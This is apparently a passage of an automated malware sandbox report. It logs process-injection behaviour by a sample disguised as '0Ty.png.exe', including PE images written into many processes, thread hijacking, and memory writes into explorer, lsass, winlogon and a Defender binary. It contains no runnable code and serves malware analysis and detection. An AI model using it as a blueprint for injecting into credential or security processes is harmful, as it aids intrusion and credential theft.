Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2750000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 28B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: FF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: B50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2550000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 7F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2820000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2220000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 880000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 690000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: C30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2310000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1500000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2130000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 8D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2360000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 20C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 15B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 14F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: F50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 22F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 670000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2090000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6440000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1BFF06F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 24089940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28B955D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 14ECB470000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 191C8F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 27F4ECC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 17B55CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9730000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 2580 base: 3400000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\0Ty.png.exe	Thread register set: target process: 8008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 8008	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Thread register set: target process: 7936	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Thread register set: target process: 8136	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Thread register set: target process: 8052	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 3228

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 6F6794F010	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: C085B89010
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
